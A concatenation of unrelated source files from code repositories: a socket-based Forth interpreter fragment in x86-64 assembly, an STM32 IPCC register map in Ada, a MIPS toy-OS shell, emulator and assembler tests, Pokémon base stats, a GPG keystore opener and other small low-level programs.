mov rdx, rsp
xor r8, r8
inc r8
xor r9, r9
sub rsp, 0x20
call G_WSEND
add rsp, 0x28
mov rdi, [PSP]
add PSP, 8
pop rcx
end_def emit
start_def ASM, key, "key"
sub PSP, 8
mov [PSP], rdi
push rdi
mov rcx, G_SOCK
mov rdx, rsp
xor r8, r8
inc r8
xor r9, r9
sub rsp, 0x20
call G_WRECV
add rsp, 0x20
pop rdi
and rdi, 0xff
%ifdef ADDCRYPTO
pushthing G_INSTATE
call code_drip
call code_xor
%endif
cmp dil, 0x0a
jne .notnl
inc QWORD G_LINENO
.notnl: cmp BYTE G_ECHO, BYTE 0
jz .skip
cmp TOS, 0x0a
jne .skip
call code_prompt
jmp .skip
.skip:
end_def key
start_def ASM, keyq, "key?"
push rcx
push rdx
mov rbp, rsp
sub rsp, 0x28
mov rcx, G_SOCK
mov rdx, 1074030207
lea r8, [rsp + 0x20]
call G_IOCTL
pushthing 1
mov edi, [rsp + 0x20]
mov rsp, rbp
pop rdx
pop rcx
end_def keyq
%ifdef ADDCRYPTO
;;; @fixme -- this is the cheap way to do 'type', by just iterating through
;;; 'emit'. Ideally, this should break the data up into blocks and encrypt
;;; them in bulk. In testing, this doesn't seem so bad, but at some point
;;; this should be expanded.
start_def ASM, type, "type"
popthing rcx
popthing rsi
.loop: pushthing [rsi]
and rdi, 0xff
push rcx
push rsi
call code_emit
pop rsi
pop rcx
inc rsi
loop .loop
end_def type
%else
start_def ASM, type, "type"
push rcx
mov rcx, G_SOCK
mov rdx, [PSP]
mov r8, rdi
xor r9, r9
sub rsp, 0x20
call G_WSEND
add rsp, 0x20
mov rdi, [PSP+8]
add PSP, 16
pop rcx
end_def type
%endif
|
arch/ARM/STM32/svd/stm32wl5x_cm4/stm32_svd-ipcc.ads
|
morbos/Ada_Drivers_Library
| 2 |
21001
|
-- This spec has been automatically generated from STM32WB55x.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
package STM32_SVD.IPCC is
pragma Preelaborate;
---------------
-- Registers --
---------------
type C1CR_Register is record
RXOIE : Boolean := False;
-- unspecified
Reserved_1_15 : HAL.UInt15 := 16#0#;
TXFIE : Boolean := False;
-- unspecified
Reserved_17_31 : HAL.UInt15 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for C1CR_Register use record
RXOIE at 0 range 0 .. 0;
Reserved_1_15 at 0 range 1 .. 15;
TXFIE at 0 range 16 .. 16;
Reserved_17_31 at 0 range 17 .. 31;
end record;
-- C1MR_CHOM array
type C1MR_CHOM_Field_Array is array (1 .. 6) of Boolean
with Component_Size => 1, Size => 6;
-- Type definition for C1MR_CHOM
type C1MR_CHOM_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CHOM as a value
Val : HAL.UInt6;
when True =>
-- CHOM as an array
Arr : C1MR_CHOM_Field_Array;
end case;
end record
with Unchecked_Union, Size => 6;
for C1MR_CHOM_Field use record
Val at 0 range 0 .. 5;
Arr at 0 range 0 .. 5;
end record;
-- C1MR_CHFM array
type C1MR_CHFM_Field_Array is array (1 .. 6) of Boolean
with Component_Size => 1, Size => 6;
-- Type definition for C1MR_CHFM
type C1MR_CHFM_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CHFM as a value
Val : HAL.UInt6;
when True =>
-- CHFM as an array
Arr : C1MR_CHFM_Field_Array;
end case;
end record
with Unchecked_Union, Size => 6;
for C1MR_CHFM_Field use record
Val at 0 range 0 .. 5;
Arr at 0 range 0 .. 5;
end record;
type C1MR_Register is record
CHOM : C1MR_CHOM_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_6_15 : HAL.UInt10 := 16#0#;
CHFM : C1MR_CHFM_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_22_31 : HAL.UInt10 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for C1MR_Register use record
CHOM at 0 range 0 .. 5;
Reserved_6_15 at 0 range 6 .. 15;
CHFM at 0 range 16 .. 21;
Reserved_22_31 at 0 range 22 .. 31;
end record;
-- C1SCR_CHC array
type C1SCR_CHC_Field_Array is array (1 .. 6) of Boolean
with Component_Size => 1, Size => 6;
-- Type definition for C1SCR_CHC
type C1SCR_CHC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CHC as a value
Val : HAL.UInt6;
when True =>
-- CHC as an array
Arr : C1SCR_CHC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 6;
for C1SCR_CHC_Field use record
Val at 0 range 0 .. 5;
Arr at 0 range 0 .. 5;
end record;
-- C1SCR_CHS array
type C1SCR_CHS_Field_Array is array (1 .. 6) of Boolean
with Component_Size => 1, Size => 6;
-- Type definition for C1SCR_CHS
type C1SCR_CHS_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CHS as a value
Val : HAL.UInt6;
when True =>
-- CHS as an array
Arr : C1SCR_CHS_Field_Array;
end case;
end record
with Unchecked_Union, Size => 6;
for C1SCR_CHS_Field use record
Val at 0 range 0 .. 5;
Arr at 0 range 0 .. 5;
end record;
type C1SCR_Register is record
CHC : C1SCR_CHC_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_6_15 : HAL.UInt10 := 16#0#;
CHS : C1SCR_CHS_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_22_31 : HAL.UInt10 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for C1SCR_Register use record
CHC at 0 range 0 .. 5;
Reserved_6_15 at 0 range 6 .. 15;
CHS at 0 range 16 .. 21;
Reserved_22_31 at 0 range 22 .. 31;
end record;
-- C1TOC2SR_CHF array
type C1TOC2SR_CHF_Field_Array is array (1 .. 6) of Boolean
with Component_Size => 1, Size => 6;
-- Type definition for C1TOC2SR_CHF
type C1TOC2SR_CHF_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CHF as a value
Val : HAL.UInt6;
when True =>
-- CHF as an array
Arr : C1TOC2SR_CHF_Field_Array;
end case;
end record
with Unchecked_Union, Size => 6;
for C1TOC2SR_CHF_Field use record
Val at 0 range 0 .. 5;
Arr at 0 range 0 .. 5;
end record;
type C1TOC2SR_Register is record
CHF : C1TOC2SR_CHF_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_6_31 : HAL.UInt26 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for C1TOC2SR_Register use record
CHF at 0 range 0 .. 5;
Reserved_6_31 at 0 range 6 .. 31;
end record;
type C2CR_Register is record
RXOIE : Boolean := False;
-- unspecified
Reserved_1_15 : HAL.UInt15 := 16#0#;
TXFIE : Boolean := False;
-- unspecified
Reserved_17_31 : HAL.UInt15 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for C2CR_Register use record
RXOIE at 0 range 0 .. 0;
Reserved_1_15 at 0 range 1 .. 15;
TXFIE at 0 range 16 .. 16;
Reserved_17_31 at 0 range 17 .. 31;
end record;
-- C2MR_CHOM array
type C2MR_CHOM_Field_Array is array (1 .. 6) of Boolean
with Component_Size => 1, Size => 6;
-- Type definition for C2MR_CHOM
type C2MR_CHOM_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CHOM as a value
Val : HAL.UInt6;
when True =>
-- CHOM as an array
Arr : C2MR_CHOM_Field_Array;
end case;
end record
with Unchecked_Union, Size => 6;
for C2MR_CHOM_Field use record
Val at 0 range 0 .. 5;
Arr at 0 range 0 .. 5;
end record;
-- C2MR_CHFM array
type C2MR_CHFM_Field_Array is array (1 .. 6) of Boolean
with Component_Size => 1, Size => 6;
-- Type definition for C2MR_CHFM
type C2MR_CHFM_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CHFM as a value
Val : HAL.UInt6;
when True =>
-- CHFM as an array
Arr : C2MR_CHFM_Field_Array;
end case;
end record
with Unchecked_Union, Size => 6;
for C2MR_CHFM_Field use record
Val at 0 range 0 .. 5;
Arr at 0 range 0 .. 5;
end record;
type C2MR_Register is record
CHOM : C2MR_CHOM_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_6_15 : HAL.UInt10 := 16#0#;
CHFM : C2MR_CHFM_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_22_31 : HAL.UInt10 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for C2MR_Register use record
CHOM at 0 range 0 .. 5;
Reserved_6_15 at 0 range 6 .. 15;
CHFM at 0 range 16 .. 21;
Reserved_22_31 at 0 range 22 .. 31;
end record;
-- C2SCR_CHC array
type C2SCR_CHC_Field_Array is array (1 .. 6) of Boolean
with Component_Size => 1, Size => 6;
-- Type definition for C2SCR_CHC
type C2SCR_CHC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CHC as a value
Val : HAL.UInt6;
when True =>
-- CHC as an array
Arr : C2SCR_CHC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 6;
for C2SCR_CHC_Field use record
Val at 0 range 0 .. 5;
Arr at 0 range 0 .. 5;
end record;
-- C2SCR_CHS array
type C2SCR_CHS_Field_Array is array (1 .. 6) of Boolean
with Component_Size => 1, Size => 6;
-- Type definition for C2SCR_CHS
type C2SCR_CHS_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CHS as a value
Val : HAL.UInt6;
when True =>
-- CHS as an array
Arr : C2SCR_CHS_Field_Array;
end case;
end record
with Unchecked_Union, Size => 6;
for C2SCR_CHS_Field use record
Val at 0 range 0 .. 5;
Arr at 0 range 0 .. 5;
end record;
type C2SCR_Register is record
CHC : C2SCR_CHC_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_6_15 : HAL.UInt10 := 16#0#;
CHS : C2SCR_CHS_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_22_31 : HAL.UInt10 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for C2SCR_Register use record
CHC at 0 range 0 .. 5;
Reserved_6_15 at 0 range 6 .. 15;
CHS at 0 range 16 .. 21;
Reserved_22_31 at 0 range 22 .. 31;
end record;
-- C2TOC1SR_CHF array
type C2TOC1SR_CHF_Field_Array is array (1 .. 6) of Boolean
with Component_Size => 1, Size => 6;
-- Type definition for C2TOC1SR_CHF
type C2TOC1SR_CHF_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CHF as a value
Val : HAL.UInt6;
when True =>
-- CHF as an array
Arr : C2TOC1SR_CHF_Field_Array;
end case;
end record
with Unchecked_Union, Size => 6;
for C2TOC1SR_CHF_Field use record
Val at 0 range 0 .. 5;
Arr at 0 range 0 .. 5;
end record;
type C2TOC1SR_Register is record
CHF : C2TOC1SR_CHF_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_6_31 : HAL.UInt26 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for C2TOC1SR_Register use record
CHF at 0 range 0 .. 5;
Reserved_6_31 at 0 range 6 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
type IPCC_Peripheral is record
C1CR : aliased C1CR_Register;
C1MR : aliased C1MR_Register;
C1SCR : aliased C1SCR_Register;
C1TOC2SR : aliased C1TOC2SR_Register;
C2CR : aliased C2CR_Register;
C2MR : aliased C2MR_Register;
C2SCR : aliased C2SCR_Register;
C2TOC1SR : aliased C2TOC1SR_Register;
end record
with Volatile;
for IPCC_Peripheral use record
C1CR at 16#0# range 0 .. 31;
C1MR at 16#4# range 0 .. 31;
C1SCR at 16#8# range 0 .. 31;
C1TOC2SR at 16#C# range 0 .. 31;
C2CR at 16#10# range 0 .. 31;
C2MR at 16#14# range 0 .. 31;
C2SCR at 16#18# range 0 .. 31;
C2TOC1SR at 16#1C# range 0 .. 31;
end record;
IPCC_Periph : aliased IPCC_Peripheral
with Import, Address => System'To_Address (16#58000C00#);
end STM32_SVD.IPCC;
|
program/system.asm
|
doowzs/BuggyOS
| 7 |
104371
|
<filename>program/system.asm
_init:
addi $k0, $zero, 0x10000000
addi $k1, $zero, 0x10000118
addi $gp, $zero, 0x1000D000
addi $sp, $zero, 0x1000FFFC
addi $s0, $zero, 0x0000000D # ENTER KEY
addi $s1, $zero, 0x0000000A # NEW LINE
addi $s2, $zero, 0x100020D0 # frame end
addi $s3, $zero, 0x100020D4 # last key
addi $s6, $zero, 0xFFFFFFFF # reset RGBA
addi $s7, $zero, 0x00000000 # reset LED
# clear screen
addi $a0, $zero, 0x10000000
addi $a1, $zero, 0x100020D0
jal _clear
# print hello message
addi $a0, $zero, 0x10002100
jal print
addi $a0, $zero, 0x10003000
jal print
j main
main:
_read:
xor $t8, $t8, $t8
addi $t9, $zero, 0x20000
jal _prompt
_read_loop:
lw $a0, ($s2) # read this key
lw $t0, ($s3) # load last key
sw $a0, ($s3) # save this key
addi $t8, $t8, 1
bne $t8, $t9, _read_judge
xor $t8, $t8, $t8
jal _cursor
j _read_loop
_read_judge:
beq $a0, $zero, _read_loop # key == 0
beq $a0, $t0, _read_loop # key == last
# if =0x8, goto backspace
# otherwise, print the character
addi $t0, $zero, 0x8
beq $a0, $t0, _read_backspace
_read_write:
addi $a1, $zero, 0x1
jal _write
j _read_end
_read_backspace:
jal _backspace
_read_end:
j _read_loop
print:
sw $ra, ($sp)
subi $sp, $sp, 0x4
add $t0, $zero, $a0
print_loop:
lw $a0, ($t0)
beq $a0, $zero, print_ret
sw $t0, ($sp)
subi $sp, $sp, 0x4
xor $a1, $a1, $a1
jal _write
addi $sp, $sp, 0x4
lw $t0, ($sp)
addi $t0, $t0, 0x4
j print_loop
print_ret:
jal _newline
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
handle:
sw $ra, ($sp)
subi $sp, $sp, 0x4
##### cmd analyzers #####
addi $a1, $zero, 0x10002800
sw $a0, ($sp)
subi $sp, $sp, 0x4
jal strcmp
addi $sp, $sp, 0x4
lw $a0, ($sp)
bne $v0, $zero, _cmd_01_hello
addi $a1, $zero, 0x100029A0
sw $a0, ($sp)
subi $sp, $sp, 0x4
jal strcmp
addi $sp, $sp, 0x4
lw $a0, ($sp)
bne $v0, $zero, _cmd_02_meme
addi $a1, $zero, 0x10002A00
sw $a0, ($sp)
subi $sp, $sp, 0x4
addi $a2, $zero, 0x5
jal strncmp
addi $sp, $sp, 0x4
lw $a0, ($sp)
bne $v0, $zero, _cmd_03_fibo
addi $a1, $zero, 0x10002A20
sw $a0, ($sp)
subi $sp, $sp, 0x4
addi $a2, $zero, 0x4
jal strncmp
addi $sp, $sp, 0x4
lw $a0, ($sp)
bne $v0, $zero, _cmd_04_led
addi $a1, $zero, 0x10002A60
sw $a0, ($sp)
subi $sp, $sp, 0x4
addi $a2, $zero, 0x5
jal strncmp
addi $sp, $sp, 0x4
lw $a0, ($sp)
bne $v0, $zero, _cmd_05_color
addi $a1, $zero, 0x10002A80
sw $a0, ($sp)
subi $sp, $sp, 0x4
jal strcmp
addi $sp, $sp, 0x4
lw $a0, ($sp)
bne $v0, $zero, _cmd_help
addi $a1, $zero, 0x100029C0
sw $a0, ($sp)
subi $sp, $sp, 0x4
jal strcmp
addi $sp, $sp, 0x4
lw $a0, ($sp)
bne $v0, $zero, _cmd_restart
addi $a1, $zero, 0x100029E0
sw $a0, ($sp)
subi $sp, $sp, 0x4
jal strcmp
addi $sp, $sp, 0x4
lw $a0, ($sp)
bne $v0, $zero, _cmd_clear
j _cmd_fail
##### cmd handlers #####
_cmd_01_hello:
addi $a0, $zero, 0x10002820
jal print
j _handler_ret
_cmd_02_meme:
addi $a0, $zero, 0x10006000
jal print
j _handler_ret
_cmd_03_fibo:
addi $a0, $zero, 0x1000D000
addi $a0, $a0, 0x14
jal scanhex
add $a0, $zero, $v0
jal fibonacci
add $a0, $zero, $v0
jal printhex
add $a0, $zero, $gp
jal print
j _handler_ret
_cmd_04_led:
addi $a0, $zero, 0x1000D000
addi $a0, $a0, 0x10
jal scan1hex
add $a0, $zero, $v0
jal ledctr
j _handler_ret
_cmd_05_color:
addi $a0, $zero, 0x1000D000
addi $a0, $a0, 0x14
jal scanhex
add $s6, $zero, $v0
sll $s6, $s6, 8 # 24-bit of RGB data
j _handler_ret
_cmd_help:
addi $a0, $zero, 0x10003000
jal print
j _handler_ret
_cmd_restart:
j _init
_cmd_clear:
addi $a0, $zero, 0x10000000
addi $a1, $zero, 0x100020D0
jal _clear
addi $k0, $zero, 0x10000000
addi $k1, $zero, 0x10000118
j _handler_ret
_cmd_fail:
addi $a0, $zero, 0x10002900
jal print
_handler_ret:
jal _prompt
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
strcmp:
sw $ra, ($sp)
subi $sp, $sp, 0x4
add $t0, $zero, $a0
add $t1, $zero, $a1
addi $v0, $zero, 1 # default: return 1
_cmp_loop:
lw $a0, ($t0)
lw $a1, ($t1)
addi $t0, $t0, 0x4
addi $t1, $t1, 0x4
bne $a0, $a1, _cmp_false
beq $a0, $zero, _cmp_fin
j _cmp_loop
_cmp_false:
xor $v0, $v0, $v0 # failed compare
_cmp_fin:
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
strncmp:
sw $ra, ($sp)
subi $sp, $sp, 0x4
add $t0, $zero, $a0
add $t1, $zero, $a1
add $t2, $zero, $a2
addi $v0, $zero, 1
_cmpn_loop:
lw $a0, ($t0)
lw $a1, ($t1)
addi $t0, $t0, 0x4
addi $t1, $t1, 0x4
subi $t2, $t2, 1
bne $a0, $a1, _cmpn_false
beq $a0, $zero, _cmpn_fin
beq $t2, $zero, _cmpn_fin
j _cmpn_loop
_cmpn_false:
xor $v0, $v0, $v0
_cmpn_fin:
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
scanhex:
sw $ra, ($sp)
subi $sp, $sp, 0x4
xor $v0, $v0, $v0
xor $t2, $t2, $t2
addi $t2, $t2, 0x10
add $t0, $zero, $a0
_scanhex_loop:
lw $t1, ($t0)
addi $t0, $t0, 0x4
beq $t1, $zero, _scanhex_ret
subi $t1, $t1, 0x30
slt $t3, $t1, $t2
bne $t3, $zero, _scanhex_add
subi $t1, $t1, 0x27
_scanhex_add:
sll $v0, $v0, 0x4
add $v0, $v0, $t1
j _scanhex_loop
_scanhex_ret:
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
fibonacci:
sw $ra, ($sp)
subi $sp, $sp, 0x4
add $t0, $zero, $a0
addi $t1, $zero, 0x0
addi $t2, $zero, 0x1
xor $t3, $t3, $t3
_fibo_loop:
beq $t0, $zero, _fido_ret
subi $t0, $t0, 0x1
add $t3, $t2, $t1
add $t1, $zero, $t2
add $t2, $zero, $t3
j _fibo_loop
_fido_ret:
add $v0, $zero, $t1
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
printhex:
sw $ra, ($sp)
subi $sp, $sp, 0x4
addi $gp, $zero, 0x1000D020 #end of print
add $t0, $zero, $a0 #value to be printed
addi $t1, $zero, 0xf #mask
addi $t2, $zero, 0xa
sw $zero, ($gp)
_printhex_loop:
subi $gp, $gp, 0x4
and $t3, $t1, $t0
srl $t0, $t0, 0x4
slt $t4, $t3, $t2
bne $t4, $zero, _printhex_char
addi $t3, $t3, 0x27
_printhex_char:
addi $t3, $t3, 0x30
sw $t3, ($gp)
addi $t4, $zero, 0x1000D000
bne $gp, $t4, _printhex_loop
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
ledctr:
sw $ra, ($sp)
subi $sp, $sp, 0x4
add $t0, $zero, $a0
addi $t1, $zero, 0x1
_ledctr_loop:
beq $t0, $zero, _ledctr_handle
sll $t1, $t1, 0x1
subi $t0, $t0, 0x1
j _ledctr_loop
_ledctr_handle:
addi $a0, $zero, 0x1000D000
addi $a0, $a0, 0x18
addi $a1, $zero, 0x10002A40
sw $a0, ($sp)
subi $sp, $sp, 0x4
sw $t1, ($sp)
subi $sp, $sp, 0x4
jal strcmp
addi $sp, $sp, 0x4
lw $t1, ($sp)
addi $sp, $sp, 0x4
lw $a0, ($sp)
bne $v0, $zero, _ledctr_off
addi $a1, $zero, 0x10002A50
sw $a0, ($sp)
subi $sp, $sp, 0x4
sw $t1, ($sp)
subi $sp, $sp, 0x4
jal strcmp
addi $sp, $sp, 0x4
lw $t1, ($sp)
addi $sp, $sp, 0x4
lw $a0, ($sp)
bne $v0, $zero, _ledctr_on
xor $s7, $s7, $t1# default
j _ledctr_ret
_ledctr_off:
nor $t1, $t1, $t1
and $s7, $s7, $t1
j _ledctr_ret
_ledctr_on:
or $s7, $s7, $t1
_ledctr_ret:
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
scan1hex:
sw $ra, ($sp)
subi $sp, $sp, 0x4
xor $v0, $v0, $v0
xor $t2, $t2, $t2
addi $t2, $t2, 0x10
add $t0, $zero, $a0
lw $t1, ($t0)
beq $t1, $zero, _scan1hex_ret
subi $t1, $t1, 0x30
slt $t3, $t1, $t2
bne $t3, $zero, _scan1hex_ret
subi $t1, $t1, 0x27
_scan1hex_ret:
add $v0, $v0, $t1
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
_cursor:
lw $t0, ($k0)
beq $t0, $zero, _cursor_0
j _cursor_1
_cursor_0:
addi $t0, $zero, 0x5F # print "_"
j _cursor_write
_cursor_1:
xor $t0, $t0, $t0 # print " "
_cursor_write:
sw $t0, ($k0)
jr $ra
_write:
sw $ra, ($sp)
subi $sp, $sp, 0x4
sw $zero, ($k0) # clear cursor
beq $a0, $s0, _write_handle
beq $a0, $s1, _write_newline
beq $a1, $zero, _write_skip_input
sw $a0, ($gp)
addi $gp, $gp, 0x4
_write_skip_input:
sw $a0, ($k0)
addi $k0, $k0, 0x4
beq $k0, $k1, _write_newline
j _write_ret
_write_newline:
jal _newline
j _write_ret
_write_handle:
sw $zero, ($gp)
jal _newline
addi $a0, $zero, 0x1000D000
jal print
addi $a0, $zero, 0x1000D000
jal handle
_write_ret:
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
_backspace:
sw $ra, ($sp)
subi $sp, $sp, 0x4
subi $k1, $k1, 0x110 # prompt cannot be deleted
beq $k0, $k1, _backspace_ret
sw $zero, ($k0) # clear cursor
subi $k0, $k0, 0x4
sw $zero, ($k0)
subi $gp, $gp, 0x4
sw $zero, ($gp)
_backspace_ret:
addi $k1, $k1, 0x110
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
_prompt:
sw $ra, ($sp)
subi $sp, $sp, 0x4
jal _newline
# print "#"
addi $a0, $zero, 0x23
xor $a1, $a1, $a1
jal _write
# print " "
addi $a0, $zero, 0x20
xor $a1, $a1, $a1
jal _write
addi $gp, $zero, 0x1000D000 # reset string pointer here
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
_newline:
sw $ra, ($sp)
subi $sp, $sp, 0x4
beq $k1, $s2, _newline_moveup
add $k0, $zero, $k1
addi $k1, $k1, 0x118 # 70 * 4
j _newline_ret
_newline_moveup:
jal _moveup
subi $k0, $s2, 0x118
add $k1, $zero, $s2
_newline_ret:
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
_moveup:
sw $ra, ($sp)
subi $sp, $sp, 0x4
addi $t0, $zero, 0x10000000 # start of line 00
addi $t1, $zero, 0x10000118 # start of line 01
_moveup_line:
lw $t2, ($t1)
sw $t2, ($t0)
addi $t0, $t0, 0x4
addi $t1, $t1, 0x4
bne $t1, $s2, _moveup_line
add $a0, $zero, $t0
add $a1, $zero, $t1
jal _clear
_moveup_ret:
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
_clear:
sw $ra, ($sp)
subi $sp, $sp, 0x4
_clear_loop:
sw $zero, ($a0)
addi $a0, $a0, 0x4
bne $a0, $a1, _clear_loop
_clear_ret:
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
|
unittests/ASM/PrimaryGroup/3_F7_02.asm
|
cobalt2727/FEX
| 628 |
3779
|
%ifdef CONFIG
{
"RegData": {
"RAX": "0x414243444546B8B7",
"RBX": "0x51525354AAA9A8A7",
"RCX": "0x9E9D9C9B9A999897"
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x4142434445464748
mov [rdx + 8 * 0], rax
mov rax, 0x5152535455565758
mov [rdx + 8 * 1], rax
mov rax, 0x6162636465666768
mov [rdx + 8 * 2], rax
not word [rdx + 8 * 0 + 0]
not dword [rdx + 8 * 1 + 0]
not qword [rdx + 8 * 2 + 0]
mov rax, [rdx + 8 * 0]
mov rbx, [rdx + 8 * 1]
mov rcx, [rdx + 8 * 2]
hlt
|
data/pokemon/base_stats/froslass.asm
|
TastySnax12/pokecrystal16-493-plus
| 2 |
168580
|
db 0 ; species ID placeholder
db 70, 80, 70, 110, 80, 70
; hp atk def spd sat sdf
db ICE, GHOST ; type
db 75 ; catch rate
db 168 ; base exp
db NO_ITEM, NEVERMELTICE ; items
db GENDER_F100 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/froslass/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_FAIRY, EGG_MINERAL ; egg groups
; tm/hm learnset
tmhm HEADBUTT, CURSE, ROLLOUT, TOXIC, ZAP_CANNON, PSYCH_UP, HIDDEN_POWER, SWEET_SCENT, SNORE, BLIZZARD, HYPER_BEAM, ICY_WIND, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, THUNDER, RETURN, PSYCHIC_M, SHADOW_BALL, MUD_SLAP, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, DREAM_EATER, REST, ATTRACT, NIGHTMARE, FLASH, THUNDERBOLT, ICE_BEAM
; end
|
src/keystore-gpg.adb
|
thierr26/ada-keystore
| 25 |
29891
|
-----------------------------------------------------------------------
-- keystore-gpg -- helpers to open keystores protected with GPG
-- Copyright (C) 2019 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
package body Keystore.GPG is
-- ------------------------------
-- Open the keystore file and unlock the wallet using GPG.
-- Raises the Bad_Password exception if no key slot match an available GPG key.
-- ------------------------------
procedure Open (Container : in out Wallet_File;
Context : in out Context_Type;
Path : in String;
Data_Path : in String := "";
Config : in Wallet_Config := Secure_Config) is
Info : Keystore.Wallet_Info;
Slot : Key_Slot;
begin
Container.Open (Path => Path, Data_Path => Data_Path,
Config => Config, Info => Info);
if Info.Header_Count = 0 then
raise Bad_Password with "No password to unlock the keystore";
end if;
Context.Load_Secrets (Container);
Container.Set_Master_Key (Context);
Container.Unlock (Context, Slot);
end Open;
end Keystore.GPG;
|
tests/lua_examples/trivial/lua_exit.asm
|
fengjixuchui/sjasmplus
| 220 |
25797
|
LUA pass1
lua_pass = 1
ENDLUA
LUA pass3 ; wrong arguments
sj.exit(27, 2)
ENDLUA
LUA allpass
if (3 == lua_pass) then sj.exit(13); end
;-- exit precisely in third pass, to exercise certain code path in sjasm.cpp
lua_pass = lua_pass + 1
ENDLUA
|
examples/ada-runtime/compute.ads
|
sinkinben/pok
| 2 |
10291
|
pragma No_Run_Time;
with Interfaces.C;
package Compute is
procedure Compute;
pragma Export (C, Compute, "compute");
end Compute;
|
oeis/025/A025535.asm
|
neoneye/loda-programs
| 11 |
162887
|
; A025535: a(n) = (1/C(2n,0) - 1/C(2n,1) + ... + d/C(2n,2n))*L, where d = (-1)^2n, L = LCM{C(2n,0), C(2n,1),..., C(2n,2n)}.
; Submitted by <NAME>(s3)
; 1,3,20,105,504,4620,51480,45045,1361360,23279256,21162960,446185740,2059318800,5736673800,155272637520,4512611027925,8494326640800,8022419605200,281206918792800,267146572853160,10431437606647200
mov $2,$0
mul $0,2
seq $0,70198 ; Smallest nonnegative number m such that m == i (mod i+1) for all 1 <= i <= n.
add $2,1
div $0,$2
add $0,1
|
src/cpu/gdt.asm
|
ayush7788/wolfx_kernel
| 6 |
19436
|
[bits 32]
section .text
global gdt_flush ;make gdt_flush a global function
gdt_flush:
mov eax, DWORD [esp + 4]
lgdt [eax] ;lgdt the passed gdt structure
mov ax, 10h
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
jmp 08h:flush
flush:
ret
|
alloy4fun_models/trashltl/models/12/mbvu2PwRPMKkrW9SR.als
|
Kaixi26/org.alloytools.alloy
| 0 |
5070
|
<reponame>Kaixi26/org.alloytools.alloy
open main
pred idmbvu2PwRPMKkrW9SR_prop13 {
always all f:File | f in Trash implies once f in File-Trash
}
pred __repair { idmbvu2PwRPMKkrW9SR_prop13 }
check __repair { idmbvu2PwRPMKkrW9SR_prop13 <=> prop13o }
|
src/ada/src/comms/uxas-comms-transport-receiver.ads
|
VVCAS-Sean/OpenUxAS
| 88 |
18301
|
<filename>src/ada/src/comms/uxas-comms-transport-receiver.ads
package UxAS.Comms.Transport.Receiver is
type Transport_Receiver_Base is abstract new Transport_Base with private;
type Transport_Receiver_Base_Ref is access all Transport_Receiver_Base;
type Any_Transport_Receiver_Base is access Transport_Receiver_Base'Class;
